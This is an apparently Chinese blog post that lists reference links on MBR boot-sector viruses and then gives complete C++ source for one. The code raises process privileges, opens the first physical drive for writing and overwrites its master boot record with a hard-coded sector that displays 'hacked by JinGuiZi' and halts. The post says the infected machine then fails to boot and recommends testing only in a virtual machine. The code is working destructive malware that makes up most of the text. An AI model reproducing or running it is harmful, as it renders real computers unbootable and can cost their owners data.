参考：分享一病毒源代码，破坏MBR，危险！！仅供学习参考，勿运行（vc++2010已编译通过）
自制简单的MBR引导区病毒
MBR病毒样本分析
Windows启动过程(MBR引导过程分析)
MBR病毒分析
C/C++用户模式下改写硬盘主引导记录(MBR)
C读取硬盘Mbr引导扇区
来自第二个链接：
#include<windows.h>
#include<winioctl.h>
char temp[512]= {
0xB8,0x12,0x00,0xCD,0x10,0xBD,0x18,0x7C,0xB9,0x13,00,0xB8,0x01,0x13,0xBB,0x0C,00,0xBA,00,00,
0xCD,0x10,0xE2,0xFE,0x68,0x61,0x63,0x6B,0x65,0x64,0x20,0x62,0x79,0x20,0x4A,0x69,0x6E,0x47,0x75,
0x69,0x5A,0x69,0x20,0x20,0x20,0x20,0x20,0x20,0x00,0x00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,0x55,0xAA
};
//自己写一个函数来提权。
void GetPrivileges()
{
//定义一个PLUID
HANDLE hProcess;
HANDLE hTokenHandle;
TOKEN_PRIVILEGES tp; <wbr>
//获取当前进程的句柄
hProcess = GetCurrentProcess();
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
//函数查看系统权限的特权值，返回信息到一个LUID结构体里。
tp.PrivilegeCount =1; <wbr>
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid); <wbr>
tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED; <wbr>
AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL); <wbr>
CloseHandle(hTokenHandle);
CloseHandle(hProcess);
}
//下面的函数来读取"\\\\.\\PHYSICALDRIVE0"
void ReadPHYSICALDRIVE0()
{
HANDLE hFile;
DWORD dwReadSize;
// char lpBuffer[512];
//使用createFile打开这个文件
char str_Name[] = "\\\\.\\PHYSICALDRIVE0";
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBox(0, "wrong", "wrong", 0);
}
//用readfile来读取文件
<wbr> <wbr> WriteFile(hFile, temp, 512, &dwReadSize, NULL);
}
int main()
{
GetPrivileges();
ReadPHYSICALDRIVE0();
return 0;
}
中毒之后的效果是这样的：(重启开机后进入)
制作一个简单的MBR引导区病毒
然后开不了机了。
在虚拟机里面恢复备份就可以了。
